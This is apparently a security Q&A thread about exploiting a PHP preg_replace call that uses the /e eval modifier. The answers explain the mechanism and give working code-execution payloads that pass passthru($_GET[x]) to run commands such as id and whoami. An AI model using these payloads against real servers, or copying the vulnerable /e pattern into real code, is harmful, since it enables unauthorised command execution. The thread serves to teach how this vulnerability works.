2

Here is the proof of concept of the code:

<?php
$input=$_GET['input'];
print preg_replace('/[A-DH-M0-9._%+-]+@(.+)\.[A-Z]{2,4}/mADsex', 'strtoupper("\\1")', $input);
?>

I don't quite understand what the filter does, all I understand is that it should change the following letters [A to D], [H to M], [0 to 9] into uppercase characters. Also the /e flag is used which allows PHP code to evaluate. So when I try a test string of system("ls"), it gets printed out to me with any characters removed and without being evaluated as PHP code.

tim
  • 29,018
  • 7
  • 95
  • 119
0x00
  • 23
  • 1
  • 4
  • I doubt that there is an exploit possible. The /e just says that the second argument (strtoupper...) should be treated as an expression and evaluated. It will not evaluate the user input but just this expression. – Steffen Ullrich Feb 12 '17 at 19:04
  • 3
    @SteffenUllrich But the second argument *is* user supplied via `\\1`, so code execution is possible. – tim Feb 12 '17 at 19:25

2 Answers2

4

There are two issues here, both of which you can solve.

How preg_replace e works, and how to exploit it

The first problem is that preg_replace with e doesn't just execute anything you pass to it. It only executes those parts of the input that match the regex and are then used in the replacement via back references.

Here is a less complex example of how preg_replace eval works:

// The vulnerable code:
echo preg_replace('/(.*)/e', 'strtoupper("\\1")', $input);

// Your input:
foobar

// foobar is now captured and passed as back reference 1 to the replacement

// evaled:
strtoupper("foobar")

// the result of that eval is then put as replacement into the original input

To solve the issue in your example, simply create an input that is matched by the regex:

A@YOUR_PAYLOAD.AA

YOUR_PAYLOAD is what the capturing group will capture and what will be referenced in the replacement.

Code Execution inside double quoted string

The second problem is that the replacement uses the match inside a string, so your match will not be evaluated as code. This is an easy problem.

Your payload is inside double quoted strings, so just injecting any PHP code will not work, as it will be treated as string, not as code. You may think that simply escaping the string via " would solve your problem, but that will not work, as double quotes are escaped in all references. However, variables and function calls are evaluated inside double quoted strings.

This means that you can gain code execution like this:

input=A@${passthru($_GET[x])}.AA&x=id

The code that will be evaled is:

strtoupper("${passthru($_GET[x])}")

The result will be an empty string, but as passthru directly echoes input, it will show you the result. If warning are enabled, using exec would also work.

tim
  • 29,018
  • 7
  • 95
  • 119
-1

Correct payload is

A@${${passthru($_GET[x])}}.AA&x=whoami

Anony
  • 1
  • 2
    Hello and welcome to Information Security! It would improve your answer if you explained *why* that works. – Anders Feb 13 '17 at 10:02